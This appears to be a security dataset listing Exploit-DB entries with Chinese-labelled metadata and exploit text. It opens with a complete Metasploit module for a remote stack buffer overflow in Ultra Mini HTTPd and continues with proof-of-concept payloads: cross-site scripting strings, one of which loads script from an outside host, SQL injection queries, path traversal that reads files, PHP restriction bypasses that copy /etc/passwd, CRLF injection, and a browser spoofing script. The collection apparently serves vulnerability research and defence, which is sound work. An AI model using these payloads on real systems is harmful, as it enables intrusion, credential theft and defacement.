QLWD/code_shield huggingface dataset:
标题: Ultra Mini HTTPd - Remote Stack Buffer Overflow (Metasploit) EDB-ID: 27608 CVE: 2013-5019 类型: REMOTE 平台: WINDOWS 发布日期: 2013-08-15 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Ultra Mini HTTPD Stack Buffer Overflow",
      'Description'    => %q{
          This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21
        allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
        request.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'superkojiman',  #Discovery, PoC
          'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '95164'],
          ['EDB','26739'],
          ['CVE','2013-5019'],
          ['BID','61130']
        ],
      'Payload'        =>
        {
          'Space' => 1623,
          'StackAdjustment' => -3500,
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "thread"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'v1.21 - Windows XP SP3',
            {
              'Offset' => 5412,
              'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 10 2013',
      'DefaultTarget'  => 0
    ))
  end

  def exploit
    buf = rand_text(target['Offset'])
    buf << [target.ret].pack("V*")
    buf << payload.encoded

    print_status("Sending buffer...")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => "/#{buf}"
    })
  end
end URL: https://www.exploit-db.com/exploits/27608
标题: PHP 4.x - 'tempnam() open_basedir' Restriction Bypass EDB-ID: 27595 CVE: 2006-1494 类型: REMOTE 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17439/info

PHP is prone to multiple 'safe_mode' and 'open_basedir' restriction-bypass vulnerabilities. Successful exploits could allow an attacker to access sensitive information or to write files in unauthorized locations.

These vulnerabilities would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code, when the 'safe_mode' and 'open_basedir' restrictions are expected to isolate the users from each other.

These issues are reported to affect PHP versions 4.4.2 and 5.1.2; other versions may also be vulnerable.

tempnam("path_from_open_basedir", "../../../../../../../../Open_basedir_bypasswd"); URL: https://www.exploit-db.com/exploits/27595
标题: Shadowed Portal 5.7 - 'Load.php' Cross-Site Scripting EDB-ID: 27591 CVE: 2006-1701 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17430/info

Shadowed Portal is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

All versions of Shadowed Portal are considered vulnerable at the moment.

http://www.example.com/path/load.php?mod=pages&page="><script src=http://liz0.li.funpic.org/hacked.js></script>

http://www.example.com/path/load.php?mod=pages&page="><script>alert(/BiyoSecurityTeam/)</script>

http://www.example.com/path/load.php?mod=pages&page="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27591
标题: PHPWebGallery 1.4.1 - 'category.php' Cross-Site Scripting EDB-ID: 27587 CVE: 2006-1675 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17421/info

PHPWebGallery is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/phpwebgallery_dir/category.php?cat=">[xss]

http://www.example.com/phpwebgallery_dir/category.php?cat=">[xss]&num=0

http://www.example.com/phpwebgallery_dir/category.php?cat=1&num=">[xss]

http://www.example.com/phpwebgallery_dir/category.php?cat=">[xss]&search=date_available%3A2006-01-01

http://www.example.com/phpwebgallery_dir/category.php?cat=1&search=">[xss] URL: https://www.exploit-db.com/exploits/27587
标题: VegaDNS 0.9.9 - 'index.php?cid' SQL Injection EDB-ID: 27593 CVE: 2006-1758 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17433/info

VegaDNS is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/vegadns/index.php?VDNS_Sessid=ip2eugr7ndn9n9sbnagb9f3p43&state=logged_in&mode=users&user_mode=edit_account&cid=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9%
20--

http://www.example.com/vegadns/index.php?VDNS_Sessid=ip2eugr7ndn9n9sbnagb9f3p43&state=logged_in&mode=users&user_mode=edit_account&cid=1%20 AND 1=0 URL: https://www.exploit-db.com/exploits/27593
标题: Matt Wright Guestbook 2.3.1 - Guestbook.pl Multiple HTML Injection Vulnerabilities EDB-ID: 27594 CVE: 2006-1697 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/17438/info

Guestbook is prone to multiple HTML-injection vulnerabilities; the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

An example has been provided:

<script>alert(/Liz0ziM/)</script>

<script src=http://www.example.com/hacked.js></script>

<script>location.href="http://www.example.com/deface.html";</script> URL: https://www.exploit-db.com/exploits/27594
标题: KCFinder 2.51 - Local File Disclosure EDB-ID: 27597 CVE: 2014-1222 类型: WEBAPPS 平台: PHP 发布日期: 2013-08-15 漏洞利用脚本: ---------------------------------------------------
# Exploit Title: KCFinder Local File Disclosure 
# Author: DaOne
# Vendor Homepage: http://kcfinder.sunhater.com/
# Category: webapps/php
# Version: 2.51 + old versions
# Google dork: inurl:kcfinder/browse.php
---------------------------------------------------

[#] Tested on their own demo...

-PoC-
POST http://server/kcfinder/browse.php?type=images&lng=en&act=download HTTP/1.1
Host: server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

dir=images/Photos+from+Bulgaria&file=../../../index.php URL: https://www.exploit-db.com/exploits/27597
标题: PHPMyForum 4.0 - 'page' Cross-Site Scripting EDB-ID: 27585 CVE: 2006-1713 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17420/info

phpMyForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

phpMyForum 4.0 is reported prone to these issues. Other versions may be affected as well.

http://target/path/index.php?page=[xsscode]&type=text%2Fcss URL: https://www.exploit-db.com/exploits/27585
标题: PHPMyForum 4.0 - 'index.php?type' CRLF Injection EDB-ID: 27586 CVE: 2006-1714 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17420/info
 
phpMyForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
phpMyForum 4.0 is reported prone to these issues. Other versions may be affected as well.

http://target/path/index.php?template=css&type=some_url%0d%0aSet-Cookie%3Aheader URL: https://www.exploit-db.com/exploits/27586
标题: SPIP 1.8.3 - 'Spip_login.php' Remote File Inclusion EDB-ID: 27589 CVE: 2006-1702 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17423/info

SPIP is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[spip_dir]/spip_login.php3?url=[Evil_url] URL: https://www.exploit-db.com/exploits/27589
标题: PHP 4.x - 'copy() Safe_Mode' Bypass EDB-ID: 27596 CVE: 2006-1608 类型: REMOTE 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17439/info
 
PHP is prone to multiple 'safe_mode' and 'open_basedir' restriction-bypass vulnerabilities. Successful exploits could allow an attacker to access sensitive information or to write files in unauthorized locations.
 
These vulnerabilities would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code, when the 'safe_mode' and 'open_basedir' restrictions are expected to isolate the users from each other.
 
These issues are reported to affect PHP versions 4.4.2 and 5.1.2; other versions may also be vulnerable.

copy("compress.zlib:///etc/passwd", "/home/<username>/passwd.txt"); URL: https://www.exploit-db.com/exploits/27596
标题: APT-webshop 3.0/4.0 - 'modules.php' Multiple SQL Injections EDB-ID: 27590 CVE: 2006-1685 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17425/info

APT-webshop is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

APT-webshop 3.0 light, 3.0 basic, and 4.0 pro are reported prone to these issues. Other versions may be vulnerable as well.

http://www.example.com/modules.php?warp=artikel&group=[SQL]
http://www.example.com/modules.php?warp=artikel&group=&seite=[SQL]
http://www.example.com/modules.php?warp=artikel&group=&seite=&id=[SQL] URL: https://www.exploit-db.com/exploits/27590
标题: SIRE 2.0 - Arbitrary File Upload EDB-ID: 27592 CVE: 2006-1704 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17431/info

SIRE is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

<form enctype="multipart/form-data" method="post" action="http://Trajet/upload.php?"> Download File<br>

<input name="fichier" type="file" size="48"><br>
<input type="submit" name="upload" value="uploader"><form> URL: https://www.exploit-db.com/exploits/27592
标题: PHPWebGallery 1.4.1 - 'picture.php' Cross-Site Scripting EDB-ID: 27588 CVE: 2006-1675 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17421/info
 
PHPWebGallery is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/phpwebgallery_dir/picture.php?cat=1&image_id=1&slideshow=">[xss]

http://www.example.com/phpwebgallery_dir/picture.php?cat=1&image_id=1&show_metadata=">[xss]

http://www.example.com/phpwebgallery_dir/picture.php?cat=1&image_id=1&start=">[xss] URL: https://www.exploit-db.com/exploits/27588
标题: JBook 1.3 - 'index.php' Cross-Site Scripting EDB-ID: 27584 CVE: 2006-1765 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/17419/info

JBook is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

JBook 1.3 is reported vulnerable. Other versions may be affected as well.

http://www.example.com/path/index.php?page=[xsscode] URL: https://www.exploit-db.com/exploits/27584
标题: Tony Cook Imager 0.4x - '.JPEG' / '.TGA' Images Denial of Service EDB-ID: 27581 CVE: 2006-0053 类型: DOS 平台: LINUX 发布日期: 2006-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/17415/info

The Perl Imager module is susceptible to a denial-of-service vulnerability. This issue is due to a failure of the software to properly handle unexpected image data.

Malformed image files may cause a crash in applications that use the affected Perl module, resulting in a denial-of-service condition.

Sample Perl code sufficient to demonstrate this issue is available:

perl -MImager -e 'my $im = Imager->new(xsize => 100, ysize=>100, channels => 4); $im->write(data=>\$foo, type=>"jpeg")' URL: https://www.exploit-db.com/exploits/27581
标题: Basic Analysis and Security Engine (BASE) 1.2.4 - PrintFreshPage Cross-Site Scripting EDB-ID: 27574 CVE: 2006-1590 类型: WEBAPPS 平台: PHP 发布日期: 2003-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/17391/info

BASE is prone to a cross-site scripting vulnerability. The application fails to properly sanitize user-supplied input in the 'PrintFreshPage' function.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.2.4; other versions may also be vulnerable.

http://www.example.com/base/base_graph_main.php?back="><script>alert("780")</script><"

http://www.example.com/base/base_stat_ipaddr.php?ip=1.1.1.1&netmask="><script>alert("780")</script><"

http://www.example.com/base-snort/base_qry_alert.php?submit=<script>780</script>&sort_order= URL: https://www.exploit-db.com/exploits/27574
标题: SKForum 1.x - 'planning.View.action?time' Cross-Site Scripting EDB-ID: 27572 CVE: 2006-1661 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/17389/info
 
SKForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/planning.View.action?time=[XSS] URL: https://www.exploit-db.com/exploits/27572
标题: MD News 1 - 'admin.php' SQL Injection EDB-ID: 27575 CVE: 2006-1755 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/17394/info

MD News is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/admin.php?action=full&id=-1 union select 1,2,3,4,5 URL: https://www.exploit-db.com/exploits/27575
标题: AWeb's Banner Generator 3.0 - Cross-Site Scripting EDB-ID: 27582 CVE: 2006-1699 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/17416/info

AWeb's Banner Generator is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/banniere/index.php?mode=view&save=1&size=&text=&banner=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&x=&y=&font=&RGBr=&RGBg=&RGBb=&angle= URL: https://www.exploit-db.com/exploits/27582
标题: vBulletin 3.5.1 - 'Vbugs.php' Cross-Site Scripting EDB-ID: 27580 CVE: 2006-1673 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/17407/info

vBulletin is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 3.5.1 is vulnerable; other versions may also be affected.

http://www.example.com//vbugs.php?do=list&s=&textsearch=&vbug_typeid=0&vbug_statusid=0&vbug_severityid=0&vbug_versionid=0&assignment=0&sortfield=lastedit&sortorder=%22%3Cscript%3Ealert('r0t')%3C/script%3E URL: https://www.exploit-db.com/exploits/27580
标题: SKForum 1.x - 'user.View.action?userID' Cross-Site Scripting EDB-ID: 27573 CVE: 2006-1661 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/17389/info
  
SKForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/user.View.action?userID=[XSS] URL: https://www.exploit-db.com/exploits/27573
标题: TalentSoft Web+ Shop 5.0 - 'Deptname' Cross-Site Scripting EDB-ID: 27583 CVE: 2006-1682 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/17418/info

Web+ Shop is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/webplus.exe?script=/webpshop/department.wml&deptid=3&deptname=[XSS] URL: https://www.exploit-db.com/exploits/27583
标题: SKForum 1.x - 'area.View.action?areaID' Cross-Site Scripting EDB-ID: 27571 CVE: 2006-1661 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/17389/info

SKForum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/area.View.action?areaID=[XSS] URL: https://www.exploit-db.com/exploits/27571
标题: Microsoft Internet Explorer 5 - Address Bar Spoofing EDB-ID: 27577 CVE: 2006-1626 类型: REMOTE 平台: WINDOWS 发布日期: 2006-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17404/info

Internet Explorer is prone to address-bar spoofing.

An attacker can exploit this issue to display the URI of a trusted and known site in the address bar, while running an attacker-supplied Macromedia Flash application. This may aid in phishing-style attacks and possibly allow access to properties of the trusted domain.

<script language="javascript">
function pause(ms)
{
date = new Date();
var curDate = null;

do { var curDate = new Date(); }
while(curDate-date < ms);
}

function spoof () {
win = window.open('http://www.microsoft.com/','new')
pause (2000)
win = window.open('http://www.example.com/swfs/index.swf','new')
pause (2000)
win = window.open('http://www.microsoft.com/','new')

}
</script>
<a href="javascript: spoof()">Perform the test</a> URL: https://www.exploit-db.com/exploits/27577
标题: Bitweaver CMS 1.3 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27579 CVE: 2006-1745 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/17406/info

Bitweaver CMS is prone to multiple cross-site scripting vulnerabilities. Thess issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/bitweaver/users/login.php?error=<h1><marquee>Test
http://www.example.com/[path_to_bitweaver]/articles/index.php?feedback=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27579
标题: Jupiter CMS 1.1.5 - 'index.php' Cross-Site Scripting EDB-ID: 27578 CVE: 2006-1679 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/17405/info

Jupiter CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/jupiter/index.php?n=modules/online&&a=1&language=1&layout=%3Ch1%3E%3Cmarquee%3Ealooo URL: https://www.exploit-db.com/exploits/27578